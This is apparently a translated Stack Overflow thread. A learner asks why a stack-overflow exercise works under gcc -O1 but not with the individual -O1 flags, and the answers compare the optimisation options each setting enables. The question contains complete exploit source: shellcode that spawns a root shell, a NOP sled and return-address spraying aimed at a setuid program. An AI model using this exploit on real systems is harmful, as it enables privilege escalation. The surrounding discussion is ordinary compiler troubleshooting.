gcc:使用-O1和拼写-O1选项导致不同的结果(一个工作;一个不工作)

时间:2013-11-27 15:23:40

标签: c gcc assembly stack-overflow compiler-optimization

当处理堆栈溢出时,我注意到只有在使用'-O1'编译它时才能工作。为了了解哪个选项负责差异,我手动输入了-O1选项(取自page我的版本,这与我在机器上检查man gcc时找到的内容一致。但是,该程序再次无效。

我确实注意到仅在使用-O1进行编译后这可能没有帮助警告输出:
exploit_notesearch.c:31:10: warning: ignoring return value of ‘system’, declared with attribute warn_unused_result [-Wunused-result]

有什么想法吗?在旧的SO问题中,有人pointed the difference out,但它仍然没有得到解决。

数据:
- Ubuntu 12.04
- gcc 4.6.3。
- x86 32位
- 一个C程序

注意:关于溢出工作,我已经禁用了我可以防止溢出的一切(金丝雀,ASLR,execstack,堆栈对齐)。

代码(可能与问题无关)。这个函数调用我可以发布的另一个但我不认为它应该重要(将根据要求):

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char shellcode[]= 
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";

int main(int argc, char *argv[]) {
   unsigned int i, *ptr, ret, offset=270;
   char *command, *buffer;

   command = (char *) malloc(200);
   bzero(command, 200); // zero out the new memory

   strcpy(command, "./notesearch \'"); // start command buffer
   buffer = command + strlen(command); // set buffer at the end

   if(argc > 1) // set offset
      offset = atoi(argv[1]);

   ret = (unsigned int) &i - offset; // set return address

   for(i=0; i < 160; i+=4) // fill buffer with return address
      *((unsigned int *)(buffer+i)) = ret;
   memset(buffer, 0x90, 60); // build NOP sled
   memcpy(buffer+60, shellcode, sizeof(shellcode)-1); 

   strcat(command, "\'");

   system(command); // run exploit
   free(command);
}

2 个答案:

答案 0 :(得分:2)

您可以通过运行

打印出gcc实际使用的优化
gcc -Q -O0 --help=optimizers

(或任何其他优化级别,而不是-O0)。

答案 1 :(得分:0)

在-O1下逐步启用的内容的man页面描述有多种方式关闭(有关摘要,请参阅此答案的结尾)。

根据@Joe Z的建议(仅使用-fverbose-asm进行汇编),在没有优化的情况下,启用以下选项:

    # options enabled:  -fasynchronous-unwind-tables -fauto-inc-dec
    # -fbranch-count-reg -fcommon -fdelete-null-pointer-checks -fdwarf2-cfi-asm
    # -fearly-inlining -feliminate-unused-debug-types -ffunction-cse -fgcse-lm
    # -fident -finline-functions-called-once -fira-share-save-slots
    # -fira-share-spill-slots -fivopts -fkeep-static-consts
    # -fleading-underscore -fmath-errno -fmerge-debug-strings
    # -fmove-loop-invariants -fpcc-struct-return -fpeephole
    # -fprefetch-loop-arrays -fsched-critical-path-heuristic
    # -fsched-dep-count-heuristic -fsched-group-heuristic -fsched-interblock
    # -fsched-last-insn-heuristic -fsched-rank-heuristic -fsched-spec
    # -fsched-spec-insn-heuristic -fsched-stalled-insns-dep -fshow-column
    # -fsigned-zeros -fsplit-ivs-in-unroller -fstack-protector
    # -fstrict-volatile-bitfields -ftrapping-math -ftree-cselim -ftree-forwprop
    # -ftree-loop-if-convert -ftree-loop-im -ftree-loop-ivcanon
    # -ftree-loop-optimize -ftree-parallelize-loops= -ftree-phiprop -ftree-pta
    # -ftree-reassoc -ftree-scev-cprop -ftree-slp-vectorize
    # -ftree-vect-loop-version -funit-at-a-time -funwind-tables
    # -fvect-cost-model -fverbose-asm -fzero-initialized-in-bss -m32 -m80387
    # -m96bit-long-double -maccumulate-outgoing-args -malign-stringops
    # -mfancy-math-387 -mfp-ret-in-387 -mglibc -mieee-fp -mno-red-zone
    # -mno-sse4 -mpush-args -msahf -mtls-direct-seg-refs  

总的来说,使用-O0组装会创建相同的.s文件。在没有优化的.s文件和使用-O1组装的文件之间运行diff会产生这种差异(由diff吐出):

> -fcombine-stack-adjustments
> -fcompare-elim
> -fcprop-registers
> -fdefer-pop
> -fforward-propagate
> -fguess-branch-probability
> -fif-conversion
> -fif-conversion2
> -finline
> -fipa-profile
> -fipa-pure-const
> -fipa-reference
> -fmerge-constants
> -fomit-frame-pointer
> -fsplit-wide-types
> -ftoplevel-reorder
> -ftree-bit-ccp
> -ftree-ccp
> -ftree-ch
> -ftree-copy-prop
> -ftree-copyrename
> -ftree-dce
> -ftree-dominator-opts
> -ftree-dse  

为了进行比较,无需转到该页面,man页面显示-O1启用:

-fauto-inc-dec 
-fcompare-elim 
-fcprop-registers 
-fdce 
-fdefer-pop 
-fdelayed-branch 
-fdse 
-fguess-branch-probability 
-fif-conversion2 
-fif-conversion 
-fipa-pure-const 
-fipa-profile 
-fipa-reference 
-fmerge-constants
-fsplit-wide-types 
-ftree-bit-ccp 
-ftree-builtin-call-dce 
-ftree-ccp 
-ftree-ch 
-ftree-copyrename 
-ftree-dce 
-ftree-dominator-opts 
-ftree-dse 
-ftree-forwprop 
-ftree-fre 
-ftree-phiprop 
-ftree-sra 
-ftree-pta 
-ftree-ter 
-funit-at-a-time  
-fomit-frame-pointer  

因此,声称由-O1启用的选项中包含以下类别:

(1)实际上是(例如-fcompare-elim)

(2)已在-O0下启用的那些(例如,-fauto-inc-dec)

(3)那些既未在-O0或-O1下启用的那些(例如-fdce)

(4)实际启用的那些,在-O1列表中没有提到(例如,-fcombine-stack-adjustments)

(请注意,-fdelayed-branch仅在支持延迟分支的体系结构上启用,而我的不支持;所以这是一个特殊情况,并没有真正丢失)